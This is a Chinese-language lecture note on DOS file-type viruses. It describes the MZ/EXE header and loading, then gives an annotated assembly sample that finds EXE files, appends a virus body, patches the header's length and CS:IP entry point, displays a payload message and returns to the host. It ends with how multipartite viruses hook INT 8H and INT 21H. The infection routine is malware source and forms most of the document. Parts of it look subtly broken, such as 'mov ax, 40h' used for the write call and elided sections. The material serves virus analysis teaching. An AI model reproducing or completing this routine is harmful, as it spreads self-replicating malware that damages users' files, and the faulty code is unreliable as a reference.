四、DOS病毒之文件型病毒
4.4 文件型病毒
基本原理

感染MZ文件
MZ文件結構及其加載
- 文件結構
00-01 e_magic; // 文件類型標記:0x4D5A魔術數字
02-03 e_cblp; // 文件最后頁的字節數
04-05 e_cp; // 文件頁數
06-07 e_crlc; // 重定義項個數
08-09 e_cparhdr; // 頭部尺寸,以16B的段落為單位
0a-0b e_minalloc; // 所需的最小內存段
0c-0d e_maxalloc; // 所需的最大內存段
0e-0f e_ss; // 初始的SS值(相對偏移量)
10-11 e_sp; // 初始的SP值
12-13 e_csum; // 校驗和
14-15 e_ip; // 初始的IP值
16-17 e_cs; // 初始的CS值(相對偏移量)
18-19 e_lfarlc; // 重定位表偏移地址
1a-1b e_ovno; // 覆蓋號
重定位表
載入模塊....
- 加載
- 申請內存后,把載入模塊讀入內存指定區域
- DS、ES指向程度段前綴PSP
- CS、IP、SS、SP由文件頭的格式化區域確定並通過重定位進行調整
- EXE文件加載之后,從CS:IP開始執行。
- 病毒一般將自己加在文件的末端,並修改CS、IP的值指向病毒起始地址,修改文件長度和SS、SP
MZ文件病毒樣例分析
設置DTA
mov ah, 1ah
mov dx, offset own_dta-Virus_Start
add dx, si
int 21
查找EXE文件
mov ah, 4eh
mov dx, offset file_match-Virus_Start
add dx, si
int 21
jnc count2
打開感染文件
mov ah, 3d02h
mov dx, Own_dta-Virus_Start+1eh//文件名
add dx, si
int 21
jnc count1
讀感染文件頭
mov ah, 3fh
mov cx, 1ch
mov dx, offset Exe_Header-Virus_Start
add dx, si
int 21
jnc count1
判讀是否感染
cmp byte ptr ds:[si+Exe_Header-Virus_Start], ‘M’
jnz no_exe
cmp word ptr ds:[si+Exe_Header-Virus_Start+12], ‘FB’
jz infected
移動文件指針至文件尾
mov ax, 4202h
xor cx, cx
xor dx, dx
int 21
push dx //宿主程序尾,也是病毒體的開始
push ax //將以此為感染后EXE文件的入口
寫病毒體至文件尾
mov ax, 40h
mov cx, Virus_Length //病毒體長度
mov dx, si //病毒開始位置
int 21
獲取感染后新文件的長度
mov ax, 4202h
xor cx, cx
xor dx, dx
int 21
mov cx, 200//512 一頁
div cx
inc ax
改寫感染后文件頭中文件長度信息
mov word ptr ds:[si+Exe_Header-Virus_Start+2], dx
//文件最后一頁的字節數
mov word ptr ds:[si+Exe_Header-Virus_Start+4], ax
//文件總頁數
修改感染文件入口至病毒代碼處
pop ax
pop dx
mov cx, 10
div cx
sub ax, word ptr ds:[si+Exe_Header-Virus_Start+8]
//文件頭大小
mov word ptr ds:[si+Exe_Header-Virus_Start+16], ax
//CS
mov word ptr ds:[si+Exe_Header-Virus_Start+14], dx
//IP
寫修改后的文件頭至感染文件
mov ax, 4200h
xor cx, cx
xor dx, dx
int 21
mov ah, 40
mov cx, 1ch
mov dx, offset Exe_header-Virus_Start
add dx, si
int 21
病毒發作
pop dx //指向PSP的DS
add dx, offset sz_message-Virus_Start
mov ah, 09h
int 21
返回宿主程序入口
mov ax, es
add ax, 10
add ax, cs:[si+Exe_header-Virus_Start+16]
push ax //宿主CS
push cs:[si+Exe_header-Virus_Start+14]//宿主IP
push ds
....
pop ds
retf
4.5 混合型病毒的基本原理
概念
- 混合型病毒也稱多型病毒,是結合了引導型和文件型兩種病毒而互為感染的病毒,有感染文件和引導扇區兩種目標
- 混合型病毒既能感染引導區,又能感染文件,但並非將文件型病毒和引導型病毒簡單地加在一起。
基本原理
- 文件中的病毒執行時將病毒寫入引導區
- 染毒盤啟動系統時,用引導型病毒的方法駐留內存,但此時DOS未加載,無法修改INT 21H,無法感染文件。
- 通常的做法是修改INT 8H,用INT 8H服務程序監測INT 21H的地址是否修改,如果修改,說明DOS已加載,則可修改INT 21H指向病毒傳染段。